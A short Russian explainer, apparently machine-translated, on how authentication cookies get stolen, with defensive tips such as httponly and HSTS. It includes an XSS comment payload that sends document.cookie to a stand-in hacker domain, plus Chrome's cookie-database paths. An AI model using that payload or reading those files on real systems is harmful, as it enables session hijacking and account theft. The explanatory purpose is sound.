Существует множество атак, которые можно использовать для обнаружения файлов cookie для аутентификации.
XSS-атака
Например, предположим, что кто-то оставляет следующее в качестве комментария кВаш веб-сайт
<script>fetch('hackersdomain.com?cookies=' + document.cookie)</script>
Теперь любой, кто загружает комментарии вашего веб-сайта, будет непреднамеренно отправлять свои куки-файлы на домен, который контролирует хакер.
Именно поэтому для httponly следует устанавливать значение true только при созданииcookie для аутентификации.Опция httponly не позволяет JavaScript иметь доступ к файлам cookie.
Отравление кэша
Повторно загружая веб-сайт, вы в конечном итоге получаете веб-сайт для кэширования одного изваши запросы.Если ваш запрос содержит заголовок с XSS-атакой, и этот заголовок выводится на страницу, вы можете успешно отменить XSS-атаку и получить все файлы cookie.
MITM
Если вы можете выполнить человека в средней атаке, вы можете получить куки.Это может произойти, если человек использует общедоступный Wi-Fi, и он может перехватить начальный HTTP-запрос, прежде чем соединение будет обновлено до HTTPS.Используйте HSTS, чтобы уменьшить вероятность того, что это произойдет.
Используйте уязвимость, чтобы получить доступ к серверу
О, у вас серьезная проблема.
Вредоносный исполняемый файл / Фишинг
Если вы можете заставить пользователя загрузить и запустить программу, вы можете украсть все их куки.В Windows они хранятся в БД SQLite в %LOCALAPPDATA%l\Google\Chrome\User Data\Default
, а в Linux / Mac в ~/.config/google-chrome/Default/Cookies
.
SQL-инъекция
Если хакер находит способвставив что-то в базу данных, они могут напрямую добавить нашу вредоносную XSS-атаку в базу данных.
Физический доступ
Получить файлы аутентификации от Chrome Dev довольно просто.Инструменты, если у вас есть физический доступ к чьему-либо компьютеру в течение короткого периода времени.